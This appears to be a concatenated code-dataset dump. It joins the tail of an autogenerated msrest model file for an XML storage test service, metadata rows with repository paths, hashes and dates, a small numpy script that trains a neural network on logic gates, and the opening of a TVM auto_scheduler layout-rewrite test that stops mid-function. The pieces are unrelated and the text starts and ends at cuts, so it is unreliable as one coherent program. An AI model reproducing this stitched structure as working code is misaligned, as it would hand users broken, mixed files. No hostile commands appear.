:param good_apples:
:type good_apples: list[str]
:param bad_apples:
:type bad_apples: list[str]
"""
_attribute_map = {
"good_apples": {"key": "GoodApples", "type": "[str]", "xml": {"wrapped": True, "itemsName": "Apple"}},
"bad_apples": {"key": "BadApples", "type": "[str]", "xml": {"wrapped": True, "itemsName": "Apple"}},
}
def __init__(self, **kwargs):
super(AppleBarrel, self).__init__(**kwargs)
self.good_apples = kwargs.get("good_apples", None)
self.bad_apples = kwargs.get("bad_apples", None)
class Banana(msrest.serialization.Model):
"""A banana.
:param name:
:type name: str
:param flavor:
:type flavor: str
:param expiration: The time at which you should reconsider eating this banana.
:type expiration: ~datetime.datetime
"""
_attribute_map = {
"name": {"key": "name", "type": "str", "xml": {"name": "name"}},
"flavor": {"key": "flavor", "type": "str", "xml": {"name": "flavor"}},
"expiration": {"key": "expiration", "type": "iso-8601", "xml": {"name": "expiration"}},
}
_xml_map = {"name": "banana"}
def __init__(self, **kwargs):
super(Banana, self).__init__(**kwargs)
self.name = kwargs.get("name", None)
self.flavor = kwargs.get("flavor", None)
self.expiration = kwargs.get("expiration", None)
class Blob(msrest.serialization.Model):
"""An Azure Storage blob.
All required parameters must be populated in order to send to Azure.
:param name: Required.
:type name: str
:param deleted: Required.
:type deleted: bool
:param snapshot: Required.
:type snapshot: str
:param properties: Required. Properties of a blob.
:type properties: ~xmlservice.models.BlobProperties
:param metadata: Dictionary of :code:`<string>`.
:type metadata: dict[str, str]
"""
_validation = {
"name": {"required": True},
"deleted": {"required": True},
"snapshot": {"required": True},
"properties": {"required": True},
}
_attribute_map = {
"name": {"key": "Name", "type": "str"},
"deleted": {"key": "Deleted", "type": "bool"},
"snapshot": {"key": "Snapshot", "type": "str"},
"properties": {"key": "Properties", "type": "BlobProperties"},
"metadata": {"key": "Metadata", "type": "{str}"},
}
_xml_map = {"name": "Blob"}
def __init__(self, **kwargs):
super(Blob, self).__init__(**kwargs)
self.name = kwargs["name"]
self.deleted = kwargs["deleted"]
self.snapshot = kwargs["snapshot"]
self.properties = kwargs["properties"]
self.metadata = kwargs.get("metadata", None)
class BlobPrefix(msrest.serialization.Model):
"""BlobPrefix.
All required parameters must be populated in order to send to Azure.
:param name: Required.
:type name: str
"""
_validation = {
"name": {"required": True},
}
_attribute_map = {
"name": {"key": "Name", "type": "str"},
}
def __init__(self, **kwargs):
super(BlobPrefix, self).__init__(**kwargs)
self.name = kwargs["name"]
class BlobProperties(msrest.serialization.Model):
"""Properties of a blob.
All required parameters must be populated in order to send to Azure.
:param last_modified: Required.
:type last_modified: ~datetime.datetime
:param etag: Required.
:type etag: str
:param content_length: Size in bytes.
:type content_length: long
:param content_type:
:type content_type: str
:param content_encoding:
:type content_encoding: str
:param content_language:
:type content_language: str
:param content_md5:
:type content_md5: str
:param content_disposition:
:type content_disposition: str
:param cache_control:
:type cache_control: str
:param blob_sequence_number:
:type blob_sequence_number: int
:param blob_type: Possible values include: "BlockBlob", "PageBlob", "AppendBlob".
:type blob_type: str or ~xmlservice.models.BlobType
:param lease_status: Possible values include: "locked", "unlocked".
:type lease_status: str or ~xmlservice.models.LeaseStatusType
:param lease_state: Possible values include: "available", "leased", "expired", "breaking",
"broken".
:type lease_state: str or ~xmlservice.models.LeaseStateType
:param lease_duration: Possible values include: "infinite", "fixed".
:type lease_duration: str or ~xmlservice.models.LeaseDurationType
:param copy_id:
:type copy_id: str
:param copy_status: Possible values include: "pending", "success", "aborted", "failed".
:type copy_status: str or ~xmlservice.models.CopyStatusType
:param copy_source:
:type copy_source: str
:param copy_progress:
:type copy_progress: str
:param copy_completion_time:
:type copy_completion_time: ~datetime.datetime
:param copy_status_description:
:type copy_status_description: str
:param server_encrypted:
:type server_encrypted: bool
:param incremental_copy:
:type incremental_copy: bool
:param destination_snapshot:
:type destination_snapshot: str
:param deleted_time:
:type deleted_time: ~datetime.datetime
:param remaining_retention_days:
:type remaining_retention_days: int
:param access_tier: Possible values include: "P4", "P6", "P10", "P20", "P30", "P40", "P50",
"Hot", "Cool", "Archive".
:type access_tier: str or ~xmlservice.models.AccessTier
:param access_tier_inferred:
:type access_tier_inferred: bool
:param archive_status: Possible values include: "rehydrate-pending-to-hot",
"rehydrate-pending-to-cool".
:type archive_status: str or ~xmlservice.models.ArchiveStatus
"""
_validation = {
"last_modified": {"required": True},
"etag": {"required": True},
}
_attribute_map = {
"last_modified": {"key": "Last-Modified", "type": "rfc-1123"},
"etag": {"key": "Etag", "type": "str"},
"content_length": {"key": "Content-Length", "type": "long"},
"content_type": {"key": "Content-Type", "type": "str"},
"content_encoding": {"key": "Content-Encoding", "type": "str"},
"content_language": {"key": "Content-Language", "type": "str"},
"content_md5": {"key": "Content-MD5", "type": "str"},
"content_disposition": {"key": "Content-Disposition", "type": "str"},
"cache_control": {"key": "Cache-Control", "type": "str"},
"blob_sequence_number": {"key": "x-ms-blob-sequence-number", "type": "int"},
"blob_type": {"key": "BlobType", "type": "str"},
"lease_status": {"key": "LeaseStatus", "type": "str"},
"lease_state": {"key": "LeaseState", "type": "str"},
"lease_duration": {"key": "LeaseDuration", "type": "str"},
"copy_id": {"key": "CopyId", "type": "str"},
"copy_status": {"key": "CopyStatus", "type": "str"},
"copy_source": {"key": "CopySource", "type": "str"},
"copy_progress": {"key": "CopyProgress", "type": "str"},
"copy_completion_time": {"key": "CopyCompletionTime", "type": "rfc-1123"},
"copy_status_description": {"key": "CopyStatusDescription", "type": "str"},
"server_encrypted": {"key": "ServerEncrypted", "type": "bool"},
"incremental_copy": {"key": "IncrementalCopy", "type": "bool"},
"destination_snapshot": {"key": "DestinationSnapshot", "type": "str"},
"deleted_time": {"key": "DeletedTime", "type": "rfc-1123"},
"remaining_retention_days": {"key": "RemainingRetentionDays", "type": "int"},
"access_tier": {"key": "AccessTier", "type": "str"},
"access_tier_inferred": {"key": "AccessTierInferred", "type": "bool"},
"archive_status": {"key": "ArchiveStatus", "type": "str"},
}
def __init__(self, **kwargs):
super(BlobProperties, self).__init__(**kwargs)
self.last_modified = kwargs["last_modified"]
self.etag = kwargs["etag"]
self.content_length = kwargs.get("content_length", None)
self.content_type = kwargs.get("content_type", None)
self.content_encoding = kwargs.get("content_encoding", None)
self.content_language = kwargs.get("content_language", None)
self.content_md5 = kwargs.get("content_md5", None)
self.content_disposition = kwargs.get("content_disposition", None)
self.cache_control = kwargs.get("cache_control", None)
self.blob_sequence_number = kwargs.get("blob_sequence_number", None)
self.blob_type = kwargs.get("blob_type", None)
self.lease_status = kwargs.get("lease_status", None)
self.lease_state = kwargs.get("lease_state", None)
self.lease_duration = kwargs.get("lease_duration", None)
self.copy_id = kwargs.get("copy_id", None)
self.copy_status = kwargs.get("copy_status", None)
self.copy_source = kwargs.get("copy_source", None)
self.copy_progress = kwargs.get("copy_progress", None)
self.copy_completion_time = kwargs.get("copy_completion_time", None)
self.copy_status_description = kwargs.get("copy_status_description", None)
self.server_encrypted = kwargs.get("server_encrypted", None)
self.incremental_copy = kwargs.get("incremental_copy", None)
self.destination_snapshot = kwargs.get("destination_snapshot", None)
self.deleted_time = kwargs.get("deleted_time", None)
self.remaining_retention_days = kwargs.get("remaining_retention_days", None)
self.access_tier = kwargs.get("access_tier", None)
self.access_tier_inferred = kwargs.get("access_tier_inferred", None)
self.archive_status = kwargs.get("archive_status", None)
class Blobs(msrest.serialization.Model):
"""Blobs.
:param blob_prefix:
:type blob_prefix: list[~xmlservice.models.BlobPrefix]
:param blob:
:type blob: list[~xmlservice.models.Blob]
"""
_attribute_map = {
"blob_prefix": {"key": "BlobPrefix", "type": "[BlobPrefix]"},
"blob": {"key": "Blob", "type": "[Blob]"},
}
def __init__(self, **kwargs):
super(Blobs, self).__init__(**kwargs)
self.blob_prefix = kwargs.get("blob_prefix", None)
self.blob = kwargs.get("blob", None)
class ComplexTypeNoMeta(msrest.serialization.Model):
"""I am a complex type with no XML node.
:param id: The id of the res.
:type id: str
"""
_attribute_map = {
"id": {"key": "ID", "type": "str"},
}
def __init__(self, **kwargs):
super(ComplexTypeNoMeta, self).__init__(**kwargs)
self.id = kwargs.get("id", None)
class ComplexTypeWithMeta(msrest.serialization.Model):
"""I am a complex type with XML node.
:param id: The id of the res.
:type id: str
"""
_attribute_map = {
"id": {"key": "ID", "type": "str"},
}
_xml_map = {"name": "XMLComplexTypeWithMeta"}
def __init__(self, **kwargs):
super(ComplexTypeWithMeta, self).__init__(**kwargs)
self.id = kwargs.get("id", None)
class Container(msrest.serialization.Model):
"""An Azure Storage container.
All required parameters must be populated in order to send to Azure.
:param name: Required.
:type name: str
:param properties: Required. Properties of a container.
:type properties: ~xmlservice.models.ContainerProperties
:param metadata: Dictionary of :code:`<string>`.
:type metadata: dict[str, str]
"""
_validation = {
"name": {"required": True},
"properties": {"required": True},
}
_attribute_map = {
"name": {"key": "Name", "type": "str"},
"properties": {"key": "Properties", "type": "ContainerProperties"},
"metadata": {"key": "Metadata", "type": "{str}"},
}
def __init__(self, **kwargs):
super(Container, self).__init__(**kwargs)
self.name = kwargs["name"]
self.properties = kwargs["properties"]
self.metadata = kwargs.get("metadata", None)
class ContainerProperties(msrest.serialization.Model):
"""Properties of a container.
All required parameters must be populated in order to send to Azure.
:param last_modified: Required.
:type last_modified: ~datetime.datetime
:param etag: Required.
:type etag: str
:param lease_status: Possible values include: "locked", "unlocked".
:type lease_status: str or ~xmlservice.models.LeaseStatusType
:param lease_state: Possible values include: "available", "leased", "expired", "breaking",
"broken".
:type lease_state: str or ~xmlservice.models.LeaseStateType
:param lease_duration: Possible values include: "infinite", "fixed".
:type lease_duration: str or ~xmlservice.models.LeaseDurationType
:param public_access: Possible values include: "container", "blob".
:type public_access: str or ~xmlservice.models.PublicAccessType
"""
_validation = {
"last_modified": {"required": True},
"etag": {"required": True},
}
_attribute_map = {
"last_modified": {"key": "Last-Modified", "type": "rfc-1123"},
"etag": {"key": "Etag", "type": "str"},
"lease_status": {"key": "LeaseStatus", "type": "str"},
"lease_state": {"key": "LeaseState", "type": "str"},
"lease_duration": {"key": "LeaseDuration", "type": "str"},
"public_access": {"key": "PublicAccess", "type": "str"},
}
def __init__(self, **kwargs):
super(ContainerProperties, self).__init__(**kwargs)
self.last_modified = kwargs["last_modified"]
self.etag = kwargs["etag"]
self.lease_status = kwargs.get("lease_status", None)
self.lease_state = kwargs.get("lease_state", None)
self.lease_duration = kwargs.get("lease_duration", None)
self.public_access = kwargs.get("public_access", None)
class CorsRule(msrest.serialization.Model):
"""CORS is an HTTP feature that enables a web application running under one domain to access resources in another domain. Web browsers implement a security restriction known as same-origin policy that prevents a web page from calling APIs in a different domain; CORS provides a secure way to allow one domain (the origin domain) to call APIs in another domain.
All required parameters must be populated in order to send to Azure.
:param allowed_origins: Required. The origin domains that are permitted to make a request
against the storage service via CORS. The origin domain is the domain from which the request
originates. Note that the origin must be an exact case-sensitive match with the origin that the
user age sends to the service. You can also use the wildcard character '*' to allow all origin
domains to make requests via CORS.
:type allowed_origins: str
:param allowed_methods: Required. The methods (HTTP request verbs) that the origin domain may
use for a CORS request. (comma separated).
:type allowed_methods: str
:param allowed_headers: Required. the request headers that the origin domain may specify on the
CORS request.
:type allowed_headers: str
:param exposed_headers: Required. The response headers that may be sent in the response to the
CORS request and exposed by the browser to the request issuer.
:type exposed_headers: str
:param max_age_in_seconds: Required. The maximum amount time that a browser should cache the
preflight OPTIONS request.
:type max_age_in_seconds: int
"""
_validation = {
"allowed_origins": {"required": True},
"allowed_methods": {"required": True},
"allowed_headers": {"required": True},
"exposed_headers": {"required": True},
"max_age_in_seconds": {"required": True, "minimum": 0},
}
_attribute_map = {
"allowed_origins": {"key": "AllowedOrigins", "type": "str"},
"allowed_methods": {"key": "AllowedMethods", "type": "str"},
"allowed_headers": {"key": "AllowedHeaders", "type": "str"},
"exposed_headers": {"key": "ExposedHeaders", "type": "str"},
"max_age_in_seconds": {"key": "MaxAgeInSeconds", "type": "int"},
}
_xml_map = {"name": "CorsRule"}
def __init__(self, **kwargs):
super(CorsRule, self).__init__(**kwargs)
self.allowed_origins = kwargs["allowed_origins"]
self.allowed_methods = kwargs["allowed_methods"]
self.allowed_headers = kwargs["allowed_headers"]
self.exposed_headers = kwargs["exposed_headers"]
self.max_age_in_seconds = kwargs["max_age_in_seconds"]
class Error(msrest.serialization.Model):
"""Error.
:param status:
:type status: int
:param message:
:type message: str
"""
_attribute_map = {
"status": {"key": "status", "type": "int"},
"message": {"key": "message", "type": "str"},
}
def __init__(self, **kwargs):
super(Error, self).__init__(**kwargs)
self.status = kwargs.get("status", None)
self.message = kwargs.get("message", None)
class JSONInput(msrest.serialization.Model):
"""JSONInput.
:param id:
:type id: int
"""
_attribute_map = {
"id": {"key": "id", "type": "int"},
}
def __init__(self, **kwargs):
super(JSONInput, self).__init__(**kwargs)
self.id = kwargs.get("id", None)
class JSONOutput(msrest.serialization.Model):
"""JSONOutput.
:param id:
:type id: int
"""
_attribute_map = {
"id": {"key": "id", "type": "int"},
}
def __init__(self, **kwargs):
super(JSONOutput, self).__init__(**kwargs)
self.id = kwargs.get("id", None)
class ListBlobsResponse(msrest.serialization.Model):
"""An enumeration of blobs.
All required parameters must be populated in order to send to Azure.
:param service_endpoint:
:type service_endpoint: str
:param container_name: Required.
:type container_name: str
:param prefix: Required.
:type prefix: str
:param marker: Required.
:type marker: str
:param max_results: Required.
:type max_results: int
:param delimiter: Required.
:type delimiter: str
:param blobs: Required.
:type blobs: ~xmlservice.models.Blobs
:param next_marker: Required.
:type next_marker: str
"""
_validation = {
"container_name": {"required": True},
"prefix": {"required": True},
"marker": {"required": True},
"max_results": {"required": True},
"delimiter": {"required": True},
"blobs": {"required": True},
"next_marker": {"required": True},
}
_attribute_map = {
"service_endpoint": {"key": "ServiceEndpoint", "type": "str", "xml": {"attr": True}},
"container_name": {"key": "ContainerName", "type": "str", "xml": {"attr": True}},
"prefix": {"key": "Prefix", "type": "str"},
"marker": {"key": "Marker", "type": "str"},
"max_results": {"key": "MaxResults", "type": "int"},
"delimiter": {"key": "Delimiter", "type": "str"},
"blobs": {"key": "Blobs", "type": "Blobs"},
"next_marker": {"key": "NextMarker", "type": "str"},
}
_xml_map = {"name": "EnumerationResults"}
def __init__(self, **kwargs):
super(ListBlobsResponse, self).__init__(**kwargs)
self.service_endpoint = kwargs.get("service_endpoint", None)
self.container_name = kwargs["container_name"]
self.prefix = kwargs["prefix"]
self.marker = kwargs["marker"]
self.max_results = kwargs["max_results"]
self.delimiter = kwargs["delimiter"]
self.blobs = kwargs["blobs"]
self.next_marker = kwargs["next_marker"]
class ListContainersResponse(msrest.serialization.Model):
"""An enumeration of containers.
All required parameters must be populated in order to send to Azure.
:param service_endpoint: Required.
:type service_endpoint: str
:param prefix: Required.
:type prefix: str
:param marker:
:type marker: str
:param max_results: Required.
:type max_results: int
:param containers:
:type containers: list[~xmlservice.models.Container]
:param next_marker: Required.
:type next_marker: str
"""
_validation = {
"service_endpoint": {"required": True},
"prefix": {"required": True},
"max_results": {"required": True},
"next_marker": {"required": True},
}
_attribute_map = {
"service_endpoint": {"key": "ServiceEndpoint", "type": "str", "xml": {"attr": True}},
"prefix": {"key": "Prefix", "type": "str"},
"marker": {"key": "Marker", "type": "str"},
"max_results": {"key": "MaxResults", "type": "int"},
"containers": {"key": "Containers", "type": "[Container]", "xml": {"wrapped": True}},
"next_marker": {"key": "NextMarker", "type": "str"},
}
_xml_map = {"name": "EnumerationResults"}
def __init__(self, **kwargs):
super(ListContainersResponse, self).__init__(**kwargs)
self.service_endpoint = kwargs["service_endpoint"]
self.prefix = kwargs["prefix"]
self.marker = kwargs.get("marker", None)
self.max_results = kwargs["max_results"]
self.containers = kwargs.get("containers", None)
self.next_marker = kwargs["next_marker"]
class Logging(msrest.serialization.Model):
"""Azure Analytics Logging settings.
All required parameters must be populated in order to send to Azure.
:param version: Required. The version of Storage Analytics to configure.
:type version: str
:param delete: Required. Indicates whether all delete requests should be logged.
:type delete: bool
:param read: Required. Indicates whether all read requests should be logged.
:type read: bool
:param write: Required. Indicates whether all write requests should be logged.
:type write: bool
:param retention_policy: Required. the retention policy.
:type retention_policy: ~xmlservice.models.RetentionPolicy
"""
_validation = {
"version": {"required": True},
"delete": {"required": True},
"read": {"required": True},
"write": {"required": True},
"retention_policy": {"required": True},
}
_attribute_map = {
"version": {"key": "Version", "type": "str"},
"delete": {"key": "Delete", "type": "bool"},
"read": {"key": "Read", "type": "bool"},
"write": {"key": "Write", "type": "bool"},
"retention_policy": {"key": "RetentionPolicy", "type": "RetentionPolicy"},
}
def __init__(self, **kwargs):
super(Logging, self).__init__(**kwargs)
self.version = kwargs["version"]
self.delete = kwargs["delete"]
self.read = kwargs["read"]
self.write = kwargs["write"]
self.retention_policy = kwargs["retention_policy"]
class Metrics(msrest.serialization.Model):
"""Metrics.
All required parameters must be populated in order to send to Azure.
:param version: The version of Storage Analytics to configure.
:type version: str
:param enabled: Required. Indicates whether metrics are enabled for the Blob service.
:type enabled: bool
:param include_apis: Indicates whether metrics should generate summary statistics for called
API operations.
:type include_apis: bool
:param retention_policy: the retention policy.
:type retention_policy: ~xmlservice.models.RetentionPolicy
"""
_validation = {
"enabled": {"required": True},
}
_attribute_map = {
"version": {"key": "Version", "type": "str"},
"enabled": {"key": "Enabled", "type": "bool"},
"include_apis": {"key": "IncludeAPIs", "type": "bool"},
"retention_policy": {"key": "RetentionPolicy", "type": "RetentionPolicy"},
}
def __init__(self, **kwargs):
super(Metrics, self).__init__(**kwargs)
self.version = kwargs.get("version", None)
self.enabled = kwargs["enabled"]
self.include_apis = kwargs.get("include_apis", None)
self.retention_policy = kwargs.get("retention_policy", None)
class ModelWithByteProperty(msrest.serialization.Model):
"""ModelWithByteProperty.
:param bytes:
:type bytes: bytearray
"""
_attribute_map = {
"bytes": {"key": "Bytes", "type": "bytearray"},
}
def __init__(self, **kwargs):
super(ModelWithByteProperty, self).__init__(**kwargs)
self.bytes = kwargs.get("bytes", None)
class ModelWithUrlProperty(msrest.serialization.Model):
"""ModelWithUrlProperty.
:param url:
:type url: str
"""
_attribute_map = {
"url": {"key": "Url", "type": "str"},
}
def __init__(self, **kwargs):
super(ModelWithUrlProperty, self).__init__(**kwargs)
self.url = kwargs.get("url", None)
class ObjectWithXMsTextProperty(msrest.serialization.Model):
"""Contans property.
:param language: Returned value should be 'english'.
:type language: str
:param content: Returned value should be 'I am text'.
:type content: str
"""
_attribute_map = {
"language": {"key": "language", "type": "str", "xml": {"name": "language", "attr": True}},
"content": {"key": "content", "type": "str", "xml": {"text": True}},
}
_xml_map = {"name": "Data"}
def __init__(self, **kwargs):
super(ObjectWithXMsTextProperty, self).__init__(**kwargs)
self.language = kwargs.get("language", None)
self.content = kwargs.get("content", None)
class RetentionPolicy(msrest.serialization.Model):
"""the retention policy.
All required parameters must be populated in order to send to Azure.
:param enabled: Required. Indicates whether a retention policy is enabled for the storage
service.
:type enabled: bool
:param days: Indicates the number of days that metrics or logging or soft-deleted data should
be retained. All data older than this value will be deleted.
:type days: int
"""
_validation = {
"enabled": {"required": True},
"days": {"minimum": 1},
}
_attribute_map = {
"enabled": {"key": "Enabled", "type": "bool"},
"days": {"key": "Days", "type": "int"},
}
def __init__(self, **kwargs):
super(RetentionPolicy, self).__init__(**kwargs)
self.enabled = kwargs["enabled"]
self.days = kwargs.get("days", None)
class RootWithRefAndMeta(msrest.serialization.Model):
"""I am root, and I ref a model WITH meta.
:param ref_to_model: XML will use XMLComplexTypeWithMeta.
:type ref_to_model: ~xmlservice.models.ComplexTypeWithMeta
:param something: Something else (just to avoid flattening).
:type something: str
"""
_attribute_map = {
"ref_to_model": {"key": "RefToModel", "type": "ComplexTypeWithMeta"},
"something": {"key": "Something", "type": "str"},
}
def __init__(self, **kwargs):
super(RootWithRefAndMeta, self).__init__(**kwargs)
self.ref_to_model = kwargs.get("ref_to_model", None)
self.something = kwargs.get("something", None)
class RootWithRefAndNoMeta(msrest.serialization.Model):
"""I am root, and I ref a model with no meta.
:param ref_to_model: XML will use RefToModel.
:type ref_to_model: ~xmlservice.models.ComplexTypeNoMeta
:param something: Something else (just to avoid flattening).
:type something: str
"""
_attribute_map = {
"ref_to_model": {"key": "RefToModel", "type": "ComplexTypeNoMeta"},
"something": {"key": "Something", "type": "str"},
}
def __init__(self, **kwargs):
super(RootWithRefAndNoMeta, self).__init__(**kwargs)
self.ref_to_model = kwargs.get("ref_to_model", None)
self.something = kwargs.get("something", None)
class SignedIdentifier(msrest.serialization.Model):
"""signed identifier.
All required parameters must be populated in order to send to Azure.
:param id: Required. a unique id.
:type id: str
:param access_policy: Required. The access policy.
:type access_policy: ~xmlservice.models.AccessPolicy
"""
_validation = {
"id": {"required": True},
"access_policy": {"required": True},
}
_attribute_map = {
"id": {"key": "Id", "type": "str"},
"access_policy": {"key": "AccessPolicy", "type": "AccessPolicy"},
}
_xml_map = {"name": "SignedIdentifier"}
def __init__(self, **kwargs):
super(SignedIdentifier, self).__init__(**kwargs)
self.id = kwargs["id"]
self.access_policy = kwargs["access_policy"]
class Slide(msrest.serialization.Model):
"""A slide in a slideshow.
:param type:
:type type: str
:param title:
:type title: str
:param items:
:type items: list[str]
"""
_attribute_map = {
"type": {"key": "type", "type": "str", "xml": {"attr": True}},
"title": {"key": "title", "type": "str"},
"items": {"key": "items", "type": "[str]", "xml": {"itemsName": "item"}},
}
_xml_map = {"name": "slide"}
def __init__(self, **kwargs):
super(Slide, self).__init__(**kwargs)
self.type = kwargs.get("type", None)
self.title = kwargs.get("title", None)
self.items = kwargs.get("items", None)
class Slideshow(msrest.serialization.Model):
"""Data about a slideshow.
:param title:
:type title: str
:param date:
:type date: str
:param author:
:type author: str
:param slides:
:type slides: list[~xmlservice.models.Slide]
"""
_attribute_map = {
"title": {"key": "title", "type": "str", "xml": {"attr": True}},
"date": {"key": "date", "type": "str", "xml": {"attr": True}},
"author": {"key": "author", "type": "str", "xml": {"attr": True}},
"slides": {"key": "slides", "type": "[Slide]"},
}
_xml_map = {"name": "slideshow"}
def __init__(self, **kwargs):
super(Slideshow, self).__init__(**kwargs)
self.title = kwargs.get("title", None)
self.date = kwargs.get("date", None)
self.author = kwargs.get("author", None)
self.slides = kwargs.get("slides", None)
class StorageServiceProperties(msrest.serialization.Model):
"""Storage Service Properties.
:param logging: Azure Analytics Logging settings.
:type logging: ~xmlservice.models.Logging
:param hour_metrics: A summary of request statistics grouped by API in hourly aggregates for
blobs.
:type hour_metrics: ~xmlservice.models.Metrics
:param minute_metrics: a summary of request statistics grouped by API in minute aggregates for
blobs.
:type minute_metrics: ~xmlservice.models.Metrics
:param cors: The set of CORS rules.
:type cors: list[~xmlservice.models.CorsRule]
:param default_service_version: The default version to use for requests to the Blob service if
an incoming request's version is not specified. Possible values include version 2008-10-27 and
all more recent versions.
:type default_service_version: str
:param delete_retention_policy: The Delete Retention Policy for the service.
:type delete_retention_policy: ~xmlservice.models.RetentionPolicy
"""
_attribute_map = {
"logging": {"key": "Logging", "type": "Logging"},
"hour_metrics": {"key": "HourMetrics", "type": "Metrics"},
"minute_metrics": {"key": "MinuteMetrics", "type": "Metrics"},
"cors": {"key": "Cors", "type": "[CorsRule]", "xml": {"wrapped": True, "itemsName": "CorsRule"}},
"default_service_version": {"key": "DefaultServiceVersion", "type": "str"},
"delete_retention_policy": {"key": "DeleteRetentionPolicy", "type": "RetentionPolicy"},
}
def __init__(self, **kwargs):
super(StorageServiceProperties, self).__init__(**kwargs)
self.logging = kwargs.get("logging", None)
self.hour_metrics = kwargs.get("hour_metrics", None)
self.minute_metrics = kwargs.get("minute_metrics", None)
self.cors = kwargs.get("cors", None)
self.default_service_version = kwargs.get("default_service_version", None)
self.delete_retention_policy = kwargs.get("delete_retention_policy", None)
| 36.104145 | 364 | 0.628127 |
795c3be8a518727fe8cfc1afd456e15053e7eacb | 984 | py | Python | ds/kb/code/neural-network-from-scratch.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | null | null | null | ds/kb/code/neural-network-from-scratch.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | 8 | 2020-03-24T17:47:23.000Z | 2022-03-12T00:33:21.000Z | ds/kb/code/neural-network-from-scratch.py | tobias-fyi/vela | b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82 | [
"MIT"
] | null | null | null | import numpy as np
def neural_network(X, y):
W1 = np.random.rand(2, 4)
W2 = np.random.rand(4, 1)
output = np.zeros((4,1))
for epochs in range(10000):
layer = 1 / (1 + np.exp(-np.dot(X, W1)))
output = 1 / (1 + np.exp(-np.dot(layer, W2)))
error = (y - output)
W2 += np.dot(layer.T, (2 * error * output * (1 - output)))
W1 += np.dot(X.T, (np.dot(2 * error * output * (1 - output), W2.T)
* layer * (1 - layer)))
return np.round(output).flatten()
X = np.array([[0, 0], [0, 1], [1, 0], [1, 1]])
print("OR", neural_network(X, np.array([[0, 1, 1, 1]]).T))
print("AND", neural_network(X, np.array([[0, 0, 0, 1]]).T))
print("XOR", neural_network(X, np.array([[0, 1, 1, 0]]).T))
print("NAND", neural_network(X, np.array([[1, 1, 1, 0]]).T))
print("NOR", neural_network(X, np.array([[1, 0, 0, 0]]).T))
# OR [0., 1., 1., 1.]
# AND [0., 0., 0., 1.]
# XOR [0., 1., 1., 0.]
# NAND [1., 1., 1., 0.]
# NOR [1., 0., 0., 0.] | 32.8 | 75 | 0.497967 |
795c3cb3b0a26c114d6e8cf4e651a300904f24dc | 7,020 | py | Python | tests/python/unittest/test_auto_scheduler_layout_rewrite.py | eleflea/tvm | d199243d8907b2d8062dd9c20b69dcb9765a970f | [
"Zlib",
"Unlicense",
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0"
] | 40 | 2021-06-14T23:14:46.000Z | 2022-03-21T14:32:23.000Z | tests/python/unittest/test_auto_scheduler_layout_rewrite.py | eleflea/tvm | d199243d8907b2d8062dd9c20b69dcb9765a970f | [
"Zlib",
"Unlicense",
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0"
] | 14 | 2021-06-08T03:15:54.000Z | 2022-02-01T23:50:24.000Z | tests/python/unittest/test_auto_scheduler_layout_rewrite.py | eleflea/tvm | d199243d8907b2d8062dd9c20b69dcb9765a970f | [
"Zlib",
"Unlicense",
"Apache-2.0",
"BSD-2-Clause",
"MIT",
"ECL-2.0"
] | 11 | 2021-06-14T05:56:18.000Z | 2022-02-27T06:52:07.000Z | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
"""Test AutoScheduler Layout Rewrite"""
import tempfile
import numpy as np
import pytest
import tvm
import tvm.testing
from tvm import topi
from tvm import auto_scheduler, te
from test_auto_scheduler_common import get_tiled_matmul, matmul_auto_scheduler_test
def test_apply_steps_with_layout_rewrite():
dag, s = get_tiled_matmul()
_, bufs = dag.apply_steps_from_state(s)
assert bufs[1].shape[0] == 512
assert bufs[1].shape[1] == 512
_, bufs = dag.apply_steps_from_state(
s, layout_rewrite=auto_scheduler.LayoutRewriteOption.REWRITE_FOR_PRE_TRANSFORMED
)
assert bufs[1].shape[0] == 4
assert bufs[1].shape[1] == 8
assert bufs[1].shape[2] == 4
assert bufs[1].shape[3] == 4
assert bufs[1].shape[4] == 512
_, bufs = dag.apply_steps_from_state(
s, layout_rewrite=auto_scheduler.LayoutRewriteOption.INSERT_TRANSFORM_STAGE
)
assert bufs[1].shape[0] == 512
assert bufs[1].shape[1] == 512
def test_apply_steps_with_layout_rewrite_corner_case():
A, B, C = matmul_auto_scheduler_test(1, 1, 1)
dag = auto_scheduler.ComputeDAG([A, B, C])
s = dag.get_init_state()
s.compute_root(C)
i_j_fused = s.fuse(C, [s[C].iters[0], s[C].iters[1]])
s.parallel(C, i_j_fused)
_, bufs = dag.apply_steps_from_state(
s, layout_rewrite=auto_scheduler.LayoutRewriteOption.REWRITE_FOR_PRE_TRANSFORMED
)
@tvm.testing.requires_llvm
def test_correctness_layout_rewrite_rewrite_for_preTransformed():
N = 16
target = tvm.target.Target("llvm")
task = auto_scheduler.SearchTask(func=matmul_auto_scheduler_test, args=(N, N, N), target=target)
dag = task.compute_dag
with tempfile.NamedTemporaryFile() as fp:
log_file = fp.name
search_policy = auto_scheduler.SketchPolicy(task)
measure_ctx = auto_scheduler.LocalRPCMeasureContext()
tuning_options = auto_scheduler.TuningOptions(
num_measure_trials=100,
runner=measure_ctx.runner,
verbose=2,
early_stopping=1,
measure_callbacks=[auto_scheduler.RecordToFile(log_file)],
)
task.tune(tuning_options, search_policy=search_policy)
inp, _ = auto_scheduler.load_best_record(log_file, task.workload_key, target)
s, bufs = dag.apply_steps_from_state(
inp.state, layout_rewrite=auto_scheduler.LayoutRewriteOption.REWRITE_FOR_PRE_TRANSFORMED
)
s_ref, bufs_ref = dag.apply_steps_from_state(inp.state)
np_args = [np.random.randn(*topi.get_const_tuple(x.shape)).astype(x.dtype) for x in bufs]
np_args_ref = [np.array(x) for x in np_args]
weight = np_args_ref[1]
# infer shape for the rewritten layout
if len(weight.shape) >= 6:
# For cpu tile structure SSRSRS
base = len(weight.shape) - 6
red_dim = weight.shape[2 + base] * weight.shape[4 + base]
